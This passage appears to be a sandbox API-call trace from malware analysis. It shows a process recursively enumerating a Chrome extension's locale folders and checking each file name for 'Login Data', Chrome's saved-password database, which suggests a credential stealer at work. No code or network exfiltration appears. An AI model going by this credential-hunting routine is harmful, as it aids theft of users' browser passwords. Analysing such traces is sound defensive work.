lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.287] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0079.287] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 124 [0079.287] lstrlenA (lpString="\\*.*") returned 4 [0079.287] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0079.287] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*" [0079.287] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.287] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.287] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.287] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.287] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.287] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.287] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.287] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.287] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.287] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.287] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0079.288] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0079.288] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.288] lstrlenA (lpString="\\") returned 1 [0079.288] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.288] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.288] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.288] lstrlenA (lpString="hi") returned 2 [0079.288] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.288] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0079.288] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 124 [0079.288] lstrlenA (lpString="\\*.*") returned 4 [0079.288] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0079.288] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*" [0079.288] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.288] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.288] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.288] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.288] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.288] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.288] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.288] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.288] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.288] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.288] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0079.288] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0079.288] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.289] lstrlenA (lpString="\\") returned 1 [0079.289] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.289] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.289] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.289] lstrlenA (lpString="hu") returned 2 [0079.289] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.289] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0079.289] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 124 [0079.289] lstrlenA (lpString="\\*.*") returned 4 [0079.289] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0079.289] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*" [0079.289] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.289] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.289] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.289] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.289] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.289] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.289] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.289] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.289] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.289] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.289] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0079.289] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0079.289] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.289] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.289] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.290] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.290] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0079.290] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0079.290] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*" [0079.290] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.290] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.290] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.290] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.290] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.290] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.290] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.290] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.290] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.290] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0079.290] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0079.290] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.290] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.290] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.290] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0079.290] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0079.290] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*" [0079.290] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.291] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.291] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.291] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.291] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.291] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.291] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.291] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.291] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.291] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0079.291] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0079.291] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.291] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.291] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.291] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0079.291] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0079.291] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*" [0079.291] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", 